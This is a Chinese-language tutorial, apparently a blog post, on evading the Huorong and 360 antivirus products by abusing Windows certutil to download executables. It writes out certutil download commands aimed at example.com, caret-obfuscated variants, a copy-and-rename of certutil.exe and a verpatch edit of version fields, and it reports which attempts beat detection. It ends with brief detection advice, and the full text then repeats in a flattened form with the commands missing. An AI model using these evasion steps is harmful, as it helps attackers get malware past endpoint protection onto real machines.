免杀学习-从指令绕过开始(2)
字数 986 2025-08-20 18:17:00

免杀学习-从指令绕过开始(2):certutil指令绕过技术详解

1. certutil指令基础分析

certutil是Windows系统自带的一个证书管理工具,常被攻击者用于下载恶意文件。其常用参数如下:

  • -f:覆盖现有文件(有值参数,后跟下载文件URL)
  • -split:保存到文件(无值参数,添加后下载到当前路径,否则下载到默认路径)
  • -URLCache:显示或删除URL缓存条目(无值参数)
  • -gmt:以GMT时间格式显示时间

重要特性

  • certutil下载会留下缓存记录
  • 缓存查看命令:certutil -urlcache *
  • 缓存删除命令:certutil -urlcache * delete

2. 安全软件检测原理

安全软件(如360、火绒)对certutil的检测主要基于:

  1. 敏感指令字符串检测(如"certutil")
  2. 下载可执行文件的行为分析
  3. 命令执行行为分析

3. 绕过火绒的尝试与方法

3.1 语句顺序混淆(失败)

尝试调换带横线参数顺序:

certutil -urlcache -gmt -split -f http://example.com/file.exe output.exe

结果:无论怎么调换顺序,仍被检测

3.2 添加干扰参数(失败)

添加无关参数:

certutil -a -urlcache -gmt -split -f http://example.com/file.exe output.exe

结果:仍被检测

3.3 命令构造绕过(失败)

尝试使用特殊字符构造:

^c""^e^r^t""u^ti^l -u^r"l""""cache -gmt -split -f ht""tp://example.com/file.exe output.^e^""x""^e

结果:仍被检测

3.4 路径/文件名替换(成功)

有效方法:

  1. 复制certutil到其他位置并重命名:
copy c:\windows\system32\certutil.exe c.exe
  1. 使用新名称执行:
a -urlcache -split -f http://example.com/file.exe output.exe

结果:成功绕过火绒检测

4. 绕过360的尝试与方法

4.1 多次路径切换(失败)

将复制的a.exe再次复制为b.exe执行:
结果:仍被检测

4.2 动态绕过(部分成功)

使用verpatch工具修改程序版本信息:

  1. 修改InternalName字段为空:
verpatch.exe zzz.exe /s InternalName ""
  1. 尝试执行:
    结果:下载时绕过,但执行木马时仍被报警

4.3 文件类型伪装(失败)

尝试以jpg文件下载后执行:
结果:仍被检测

5. 关键结论

  1. 最有效方法:复制并重命名certutil.exe
  2. 360的检测比火绒更为严格,行为分析更全面
  3. 单纯命令混淆难以绕过现代安全软件
  4. 动态修改可执行文件属性可能部分有效

6. 防御建议(蓝队视角)

  1. 监控system32目录下certutil.exe的复制行为
  2. 检测非常规位置的certutil执行
  3. 分析命令执行上下文而不仅是命令本身
  4. 监控URL缓存操作行为

7. 参考文献

  1. FreeBuf相关文章
  2. 阿里云先知社区文章
免杀学习-从指令绕过开始(2):certutil指令绕过技术详解 1. certutil指令基础分析 certutil是Windows系统自带的一个证书管理工具,常被攻击者用于下载恶意文件。其常用参数如下: -f :覆盖现有文件(有值参数,后跟下载文件URL) -split :保存到文件(无值参数,添加后下载到当前路径,否则下载到默认路径) -URLCache :显示或删除URL缓存条目(无值参数) -gmt :以GMT时间格式显示时间 重要特性 : certutil下载会留下缓存记录 缓存查看命令: certutil -urlcache * 缓存删除命令: certutil -urlcache * delete 2. 安全软件检测原理 安全软件(如360、火绒)对certutil的检测主要基于: 敏感指令字符串检测(如"certutil") 下载可执行文件的行为分析 命令执行行为分析 3. 绕过火绒的尝试与方法 3.1 语句顺序混淆(失败) 尝试调换带横线参数顺序: 结果:无论怎么调换顺序,仍被检测 3.2 添加干扰参数(失败) 添加无关参数: 结果:仍被检测 3.3 命令构造绕过(失败) 尝试使用特殊字符构造: 结果:仍被检测 3.4 路径/文件名替换(成功) 有效方法: 复制certutil到其他位置并重命名: 使用新名称执行: 结果:成功绕过火绒检测 4. 绕过360的尝试与方法 4.1 多次路径切换(失败) 将复制的a.exe再次复制为b.exe执行: 结果:仍被检测 4.2 动态绕过(部分成功) 使用verpatch工具修改程序版本信息: 修改InternalName字段为空: 尝试执行: 结果:下载时绕过,但执行木马时仍被报警 4.3 文件类型伪装(失败) 尝试以jpg文件下载后执行: 结果:仍被检测 5. 关键结论 最有效方法 :复制并重命名certutil.exe 360的检测比火绒更为严格,行为分析更全面 单纯命令混淆难以绕过现代安全软件 动态修改可执行文件属性可能部分有效 6. 防御建议(蓝队视角) 监控system32目录下certutil.exe的复制行为 检测非常规位置的certutil执行 分析命令执行上下文而不仅是命令本身 监控URL缓存操作行为 7. 参考文献 FreeBuf相关文章 阿里云先知社区文章